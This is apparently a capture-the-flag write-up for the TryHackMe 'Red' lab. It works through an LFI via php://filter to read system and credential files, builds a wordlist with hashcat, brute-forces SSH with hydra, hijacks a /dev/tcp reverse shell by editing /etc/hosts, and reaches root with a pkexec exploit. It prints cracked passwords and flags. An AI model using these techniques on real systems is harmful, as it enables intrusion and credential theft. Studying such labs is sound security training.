



# Red

## Instructions

The match has started, and Red has taken the lead on you.

But you are Blue, and only you can take Red down.

However, Red has implemented some defense mechanisms that will make the battle a bit difficult:

1. Red has been known to kick adversaries out of the machine. Is there a way around it?
2. Red likes to change adversaries' passwords but tends to keep them relatively the same.
3. Red likes to taunt adversaries in order to throw off their focus. Keep your mind sharp! This is a unique battle, and if you feel up to the challenge. Then by all means go for it!

Whenever you are ready, click on the **Start Machine** button to fire up the Virtual Machine.

## Enumeration

```
└─(kali@kali)-[~]
└─$ sudo nmap -p- --min-rate 5000 -Pn 10.10.156.164
[sudo] password for kali:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-21 21:26 EDT
Nmap scan report for 10.10.156.164
Host is up (0.19s latency).
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
```

Nmap done: 1 IP address (1 host up) scanned in 14.20 seconds

```
└─(kali@kali)-[~]
└─$ sudo nmap -sC -sV -A -T4 -Pn -p 22,80 10.10.156.164
[sudo] password for kali:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-21 21:27 EDT
Nmap scan report for 10.10.156.164
Host is up (0.19s latency).
```

```

PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|   3072 e2741ce0f7864d6946f65b4dbec39f76 (RSA)
|   256 fb8473da6cfeb9195a6c654dd1723bb0 (ECDSA)
|_  256 5e3775fcb364e2d8d6bc9ae67e604d3c (ED25519)
80/tcp    open  http      Apache httpd 2.4.41 ((Ubuntu))
|_ http-server-header: Apache/2.4.41 (Ubuntu)
|_ http-title: Atlanta - Free business bootstrap template
|_ Requested resource was /index.php?page=home.html
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASU
S RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Adtran 424RG FTTH gateway (92%), Linux 2.6.32 (92%), Linux 3.1
- 3.2 (92%), Linux 3.11 (92%), Linux 3.2 - 4.9 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 22/tcp)
HOP RTT      ADDRESS
1   186.31 ms 10.8.0.1
2   186.41 ms 10.10.156.164

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.33 seconds

```

## Initiate Foothold

I create my own script to scan through the files at parameter `?page=` and use this wordlist:

```

import requests

url = "http://10.10.156.164/index.php?page="

wordlist = open("/home/kali/wordlists/files.txt", "r")

for param in wordlist:
    response = requests.get(url + param.strip())
    if len(response.text) != 0 and len(response.text) != 15757:
        print(f"Param: {param.strip()}")
        print(f"Response code: {response.status_code}")
        print(f"Length: {len(response.text)}")
        print("-----")

```

Output:

```

└─(kali㉿kali)-[~/SublimeText]
└─$ python3 sendRequest.py
Param: index.php
Response code: 200
Length: 351
-----
Param: about.html
Response code: 200
Length: 9309
-----
Param: readme.md
Response code: 200

```

```

Length: 675
-----
Param: readme.txt
Response code: 200
Length: 675
-----
Param: contact.html
Response code: 200
Length: 7505
-----

```

I route to `index.php` and found this script inside:

```

<?php

function sanitize_input($param) {
    $param1 = str_replace("../", "", $param);
    $param2 = str_replace("../", "", $param1);
    return $param2;
}

$page = $_GET['page'];
if (isset($page) && preg_match("/^[a-z]/", $page)) {
    $page = sanitize_input($page);
    readfile($page);
} else {
    header('Location: /index.php?page=home.html');
}

?>

```

At the script above, it filtered the input parameters by removing the `../` characters and continue with `../`. After all, if the input could bypass the **sanitize** step, it will `readfile()` and return the content inside it.

Googling about **LFI** (local file inclusion). I would modify my script with this wordlist:

```

import requests

url = "http://10.10.156.164/index.php?page="

wordlist = open("/home/kali/wordlists/file_inclusion_linux.txt", "r")

for param in wordlist:
    print(f"Sending: {param.strip()}")
    response = requests.get(url + param.strip())
    if len(response.text) != 0 and len(response.text) != 15757:
        print(f"Param: {param.strip()}")
        print(f"Response code: {response.status_code}")
        print(f"Length: {len(response.text)}")
        print(f"File Content: \n{response.text}")
        print("-----")

```

Unfortunately, this technique does not work as expect. Therefore, I use another technique called **PHP Filter**. First of all, I test with the previous result:

```

(kali@kali)-[~/wordlists]
└─$ curl http://10.10.174.11/index.php?page=php://filter/convert.base64-encode/resource=index.php | base64 -d
% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current

```

```

Dload Upload Total Spent Left Speed
100 468 100 468 0 0 1252 0 --:--:-- --:--:-- --:--:-- 1254
<?php

function sanitize_input($param) {
    $param1 = str_replace("../", "", $param);
    $param2 = str_replace("./", "", $param1);
    return $param2;
}

$page = $_GET['page'];
if (isset($page) && preg_match("/^[a-z]/", $page)) {
    $page = sanitize_input($page);
    readfile($page);
} else {
    header('Location: /index.php?page=home.html');
}

?>

```

Ok, it worked! Modify the script:

```

import requests
import base64

url = "http://{IP_ADDRESS}/index.php?page=php://filter/convert.base64-encode/resource="

file_input = input("File input: ")
print(f"Sending request: {url + file_input.strip()}")

try:
    response = requests.get(url + file_input.strip(), timeout=2.5)
    if response:
        print("File content: \n")
        content_decode = base64.b64decode(response.text)
        print(content_decode.decode('utf-8'))
except requests.exceptions.RequestException as e:
    raise SystemExit(e)
except requests.exceptions.Timeout:
    print("Timeout!")
except KeyboardInterrupt:
    print("Bye!")

```

Output:

```

└─(kali@kali)-[~/SublimeText]
└─$ python3 fli.py
File input: /etc/passwd
Sending request: http://10.10.174.11/index.php?page=php://filter/convert.base64-encode/resource=/etc/passwd
File content:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin

```

```

proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin)/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106:/nonexistent:/usr/sbin/nologin
syslog:x:104:110:/home/syslog:/usr/sbin/nologin
_apt:x:105:65534:/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uidd:x:107:112:/run/uidd:/usr/sbin/nologin
tcpdump:x:108:113:/nonexistent:/usr/sbin/nologin
landscape:x:109:115:/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1:/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534:/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/usr/sbin/nologin
blue:x:1000:1000:blue:/home/blue:/bin/bash
lxd:x:998:100:/var/snap/lxd/common/lxd:/bin/false
red:x:1001:1001:/home/red:/bin/bash

```

The script worked

## Exploit

There are 2 users on this server: **blue** and **red** (not include **root**) → I look through their **.bash\_history**:

```

(kali@kali)-[~/SublimeText]
└─$ python3 fli.py
File input: /home/red/.bash_history
Sending request: http://10.10.174.11/index.php?page=php://filter/convert.base64-encode/resource=/home/red/.bash_hi
story
File content:

(kali@kali)-[~/SublimeText]
└─$ python3 fli.py
File input: /home/blue/.bash_history
Sending request: http://10.10.174.11/index.php?page=php://filter/convert.base64-encode/resource=/home/blue/.bash_h
istory
File content:

echo "Red rules"
cd
hashcat --stdout .reminder -r /usr/share/hashcat/rules/best64.rule > passlist.txt
cat passlist.txt
rm passlist.txt
sudo apt-get remove hashcat -y

```

The **blue** user used **hashcat** to generate a password list using the **.reminder** file which contains the password hash or hashes and use tag **-r** to specify the rule for this password lists.

Overall, user **blue** generated a list of password from an input file called **.reminder**. Therefore, we have to get the content of that file to generate the same password list of **blue**

```

(kali㉿kali)-[~/SublimeText]
└─$ python3 fli.py
File input: /home/blue/.reminder
Sending request: http://10.10.174.11/index.php?page=php://filter/convert.base64-encode/resource=/home/blue/.reminder
File content:

sup3r_p@s$w0rd!

```

## Gain Access

On the local machine, create a file name `.reminder` with the same content as the one on the target machine we have found in the previous. Then, use **hashcat** and execute the same command as `blue` to generate the password list:

```

(kali㉿kali)-[~/TryHackMe]
└─$ echo "sup3r_p@s$w0rd!" > red/.reminder

(kali㉿kali)-[~/TryHackMe/red]
└─$ cat .reminder
sup3r_p@s$w0rd!

(kali㉿kali)-[~/TryHackMe/red]
└─$ hashcat --stdout .reminder -r /usr/share/hashcat/rules/best64.rule > passlist.txt

(kali㉿kali)-[~/TryHackMe/red]
└─$ ls -la
total 16
drwxr-xr-x  2 kali kali 4096 Jul 21 22:52 .
drwxr-xr-x 36 kali kali 4096 Jul 21 22:51 ..
-rw-r--r--  1 kali kali 1114 Jul 21 22:53 passlist.txt
-rw-r--r--  1 kali kali   16 Jul 21 22:52 .reminder

```

After the password list is generated. Use **hydra** to crack the password to login through **SSH** with the password list.

```

(kali㉿kali)-[~/TryHackMe/red]
└─$ hydra -l "blue" -P passlist.txt ssh://10.10.174.11
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-07-21 22:54:37
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 77 login tries (l:1/p:77), ~5 tries per task
[DATA] attacking ssh://10.10.174.11:22/
[22][ssh] host: 10.10.174.11  login: blue  password: !dr0w$@p_r3pus
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 1 final worker threads did not complete until end.
[ERROR] 1 target did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-07-21 22:54:44

```

After that, use the previous password cracked to login to the target server as user `blue` and get the first flag:

```
blue@red:~$ ls -la
total 40
drwxr-xr-x 4 root blue 4096 Aug 14 2022 .
drwxr-xr-x 4 root root 4096 Aug 14 2022 ..
-rw-r--r-- 1 blue blue 166 Jul 22 02:34 .bash_history
-rw-r--r-- 1 blue blue 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 blue blue 3771 Feb 25 2020 .bashrc
drwx----- 2 blue blue 4096 Aug 13 2022 .cache
-rw-r----- 1 root blue 34 Aug 14 2022 flag1
-rw-r--r-- 1 blue blue 807 Feb 25 2020 .profile
-rw-r--r-- 1 blue blue 16 Aug 14 2022 .reminder
drwx----- 2 root blue 4096 Aug 13 2022 .ssh
blue@red:~$ cat flag1
THM{Is_thAt_all_y0u_can_d0_blu3?}
```

## Privilege Escalation → red

While trying to escalate privilege, you might get this trouble which kicks you out of the machine and automatically changes the password of user `blue`. Don't worry, just re-run the **hydra** to get a new password and login again.

```
blue@red:~$ "red"Say Bye Bye to your Shell Blue and that password
Connection to 10.10.89.217 closed by remote host.
Connection to 10.10.89.217 closed.
```

Then I use `ps -aux` to list all the processes running on the system and found this one.

```
blue@red:~$ ps -aux | grep "red"
red      13308  0.0  0.1  6972  2680 ?        S    01:27   0:00 bash -c nohup bash -i >& /dev/tcp/redrules.thm/
9001 0>&1 &
red      13353  0.0  0.1  6972  2692 ?        S    01:28   0:00 bash -c nohup bash -i >& /dev/tcp/redrules.thm/
9001 0>&1 &
```

The above command executed by `red` user which establish a reverse shell to the IP address of `redrules.thm` on port `9001`. Let's figure out what IP address is assigned to `redrules.thm`:

```
blue@red:~$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 red
192.168.0.1 redrules.thm

# The following lines are desirable for IPv6 capable hosts
::1      ip6-localhost ip6-loopback
fe00::0  ip6-localnet
ff00::0  ip6-mcastprefix
ff02::1  ip6-allnodes
ff02::2  ip6-allrouter
```

I start **Netcat Listener** on the local machine and execute this command on the target machine to append a new IP address which is my own IP address and assign it to `redrules.thm`:

```

blue@red:~$ echo "10.8.97.213 redrules.thm" | tee -a /etc/hosts
10.8.97.213 redrules.thm
blue@red:~$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 red
192.168.0.1 redrules.thm

# The following lines are desirable for IPv6 capable hosts
::1      ip6-localhost ip6-loopback
fe00::0  ip6-localnet
ff00::0  ip6-mcastprefix
ff02::1  ip6-allnodes
ff02::2  ip6-allrouter
10.8.97.213 redrules.thm

```

After a while, I got the connect shell to the target machine as user **red**

```

red@red:~$ cat flag2
cat flag2
THM{Y0u_won't_mak3_IT_furTH3r_th@n_th1S}

```

## Privilege Escalation → Root

Despite of the **flag2**, let find out is there potential files or directories in the current directory:

```

red@red:~$ ls -la
ls -la
total 36
drwxr-xr-x 4 root red  4096 Aug 17  2022 .
drwxr-xr-x 4 root root 4096 Aug 14  2022 ..
lrwxrwxrwx 1 root root   9 Aug 14  2022 .bash_history -> /dev/null
-rw-r--r-- 1 red  red   220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 red  red  3771 Feb 25  2020 .bashrc
drwx----- 2 red  red  4096 Aug 14  2022 .cache
-rw-r----- 1 root red   41 Aug 14  2022 flag2
drwxr-x--- 2 red  red  4096 Aug 14  2022 .git
-rw-r--r-- 1 red  red   807 Aug 14  2022 .profile
-rw-rw-r-- 1 red  red    75 Aug 14  2022 .selected_editor
-rw----- 1 red  red     0 Aug 17  2022 .viminfo

```

**.git** might be exploitable → Get into it and find out

```

red@red:~$ cd .git
cd .git
red@red:~/.git$ ls -la
ls -la
total 40
drwxr-x--- 2 red  red  4096 Aug 14  2022 .
drwxr-xr-x 4 root red  4096 Aug 17  2022 ..
-rwsr-xr-x 1 root root 31032 Aug 14  2022 pkexec

```

The **pkexec** is set with **SUID** → Check its version:



```
red@red:~/git$ ./pkexec --version
./pkexec --version
pkexec version 0.105
```

Googling the **pkexec** with version **0.105** and I found the exploit script from [this source](#). Before creating an exploit binary with the original script from the source, you have to focus on the last line which is:

```
libc.execve(b'/usr/bin/pkexec', c_char_p(None), environ_p)
```

The above script run the **pkexec** from the default path **/usr/bin/pkexec**. But in our situation, the vulnerable **pkexec** with **SUID** is located in **/home/red/.git** directory. For that, change it to this one:

```
libc.execve(b'/home/red/.git/pkexec', c_char_p(None), environ_p)
```

Using **vim**, **nano** is not available in the current state. So, let's use **tee** with this option:

```
red@red:~/git$ tee -a <<EOF >exploit.py
> #!/usr/bin/env python3
[REDACTED...]
> print('[+] Calling execve()')
>
# Call execve() with NULL arguments
> libc.execve(b'/home/red/.git/pkexec', c_char_p(None), environ_p)
> EOF
```

Don't forget to **chmod +x** to the **exploit.py**. Then execute the file:

```
red@red:~/git$ python3 exploit.py
python3 exploit.py

id
uid=0(root) gid=1001(red) groups=1001(red)
whoami
root
pwd
/home/red/.git
cd /root
ls -la
total 40
drwx----- 6 root root 4096 Apr 24 22:33 .
drwxr-xr-x 19 root root 4096 Aug 13 2022 ..
lrwxrwxrwx 1 root root 9 Aug 14 2022 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Dec 5 2019 .bashrc
drwx----- 2 root root 4096 Aug 13 2022 .cache
-rw-r--r-- 1 root root 161 Dec 5 2019 .profile
-rw-r--r-- 1 root root 75 Aug 14 2022 .selected_editor
drwx----- 2 root root 4096 Aug 13 2022 .ssh
-rw----- 1 root root 0 Apr 24 22:33 .viminfo
drwxr-xr-x 2 root root 4096 Apr 24 22:32 defense
-rw-r----- 1 root root 23 Aug 14 2022 flag3
drwx----- 3 root root 4096 Aug 13 2022 snap
cat flag3
THM{Go0d_Gam3_Blu3_GG}
```

